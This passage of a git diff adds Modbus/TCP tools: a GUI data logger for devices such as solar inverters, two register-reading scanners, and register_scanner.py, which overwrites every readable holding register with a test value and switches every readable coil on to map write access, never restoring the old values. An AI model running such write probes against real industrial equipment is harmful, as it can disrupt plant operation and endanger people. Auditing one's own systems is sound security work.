+ # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete 